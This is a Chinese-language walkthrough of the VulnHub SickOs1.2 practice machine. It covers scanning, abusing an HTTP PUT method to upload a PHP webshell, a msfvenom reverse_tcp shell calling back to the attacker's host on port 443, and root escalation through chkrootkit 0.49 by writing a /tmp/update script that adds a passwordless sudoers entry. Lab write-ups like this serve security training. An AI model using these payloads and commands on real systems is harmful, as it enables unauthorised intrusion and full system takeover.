kali滲透綜合靶機(十二)--SickOs1.2靶機
靶機下載地址:https://www.vulnhub.com/entry/sickos-12,144/
一、主機發現
1.netdiscover -i eth0 -r 192.168.10.0/24
二、端口掃描
1. masscan --rate=10000 -p0-65535 192.168.10.170
三、端口服務識別
1. nmap -sV -T4 -O -p 22,80 192.168.10.170
四、漏洞查找與利用
1.瀏覽器訪問http://192.168.10.170,發現發現登錄界面,嘗試目錄掃描,沒發現有用信息
2.發現http://192.168.10.170/test/
3.發現ssh的版本OpenSSH 5.9p1,存在用戶枚舉漏洞,用msf枚舉用戶得到用戶John, root
4.使用hydra進行ssh爆破,沒有破解出來
5.發現web服務的版本lighttpd 1.4.28
searchsploit lighttpd,搜索漏洞,發現沒有什么可利用的漏洞
6. nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test" 掃描/test頁面的支持的http方法
或者對/test頁面抓包,然后修改請求頭為OPTIONS查看支持的HTTP方法
7. 上傳了一個html文件進行測試,發現真的上傳成功了(上傳一個不存在的文件會響應201 Created)
Getshell方式一:
8.上傳php一句話
9.菜刀連接一句話
10.在菜刀中上傳php反彈shell,反彈連接的IP以及端口,端口設置為443(防火牆阻止了非常用端口出去)
11.查看系統版本和內核版本
Getshell方式二:
1.Msfvenom生成一個反彈shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.168 LPORT=443 > shell_443.php
2.curl上傳生成的反彈shell到目標
3.Msf開啟監聽
4.訪問上傳的shell
5.獲得目標的shell
提權方式一:利用exp
1.查看系統是否存在chkrootkit,發現chkrootkit的版本為0.49
2. chkrootkit 0.49漏洞原理:chkrootkit有crontab,會定期以root身份執行/tmp/update文件。如果攻擊者知道管理員是定期運行chkrootkit(通過查看cron.daily獲知),並且對/ tmp(沒有掛載noexec)有寫訪問權限,就可以利用該漏洞獲取root權限。
漏洞利用: 於是我們可以利用這一點,在/tmp目錄下新建update文件,做我們想讓root幫我們做的事
touch /tmp/update
chmod +x /tmp/update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
sudo su root
提權方式二:
1.exploit-database中對漏洞chkrootkit進行搜索
2.msf中利用對應的漏洞結合已經獲得的session
3.使用exploit/unix/local/chkrootkit模塊本地提權,設置參數
4.開始攻擊,成功,獲得管理員權限
提權方式三:
1.編寫exp
2.上傳exp到目標靶機
3.把上傳的腳本拷貝到/tmp目錄下
4.執行update,獲得root權限
總結:
1、信息收集、端口掃描、服務識別、目錄掃描
2、nmap 的http-methods.nse腳本獲得目標支持的http方法,發現/test頁面支持put方法
3、使用burp修改包,用put方法上傳一句話或者curl 上傳獲得shell
4、利用chkrootkit版本0.49定期以root身份執行/tmp/update文件來提權。
1.利用msf中chkrootkit攻擊模塊
2.手動創建在/tmp創建update文件,然后利用自動執行update文件,在update寫入添加賬戶到sudo組
3.使用C語言編寫exp,改變/tmp的所屬組為root以及增加uid為root權限,上傳都目標服務器,編譯然后執行,提權成功。